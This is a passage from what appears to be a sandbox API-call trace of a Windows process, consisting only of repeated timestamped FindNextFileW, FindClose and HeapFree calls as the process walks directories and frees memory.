dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.334] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.334] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.335] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.335] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0134.336] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0134.336] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.336] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.343] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.343] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.349] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.349] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.355] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.357] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.844] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.844] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.844] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.844] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0134.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0134.845] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.847] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.847] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.854] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.854] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.854] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.854] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.855] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.855] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0134.856] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0134.856] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.348] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.348] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0135.348] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0135.348] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.348] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.349] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.349] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.350] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0135.352] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0135.359] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0135.359] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0135.361] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.361] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0135.361] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0135.361] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0135.361] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0135.367] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0135.367] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0135.370] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0135.370] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0135.370] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0135.370] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.370] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0135.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.377] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0135.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0135.630] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0135.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0135.630] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0135.630] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0135.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0135.631] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0135.631] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0135.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.631] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0135.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0135.634] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0135.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0135.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0135.635] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0135.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0135.635] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0135.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0135.635] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0135.635] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0135.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.635] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0135.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.637] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0135.637] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0135.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.639] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.640] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0135.641] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.641] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.646] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0135.646] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0135.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0135.647] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0135.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0135.647] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.049] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.049] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.049] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.049] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.050] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.050] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.051] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.051] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.051] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.051] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.053] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.053] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.054] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.054] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.056] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.056] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.057] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.061] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.061] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.062] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.120] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.120] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.121] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0136.121] FindClose (in: hFindFile=0x3e5c558 | out: hFindFile=0x3e5c558) returned 1 [0136.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.121] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.121] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.121] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.124] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0136.124] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0136.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.124] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.124] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.126] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.128] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.128] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.132] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.132] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.133] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.133] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.134] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.134] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.134] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.134] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.134] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.134] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.135] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.135] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.137] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.137] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.138] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.138] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.138] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.138] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.139] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.139] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.141] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.141] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.142] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.143] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.143] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.143] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.143] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.144] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.145] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.435] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.435] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.439] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.440] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.440] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.441] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.441] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.443] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.443] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.444] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.444] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.444] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.446] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.446] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.447] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.447] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.448] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.448] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.449] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.450] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.450] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.450] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.451] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.451] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.452] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.452] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.453] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.453] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.456] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.456] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.456] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.456] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.459] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.459] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.459] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.459] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.461] 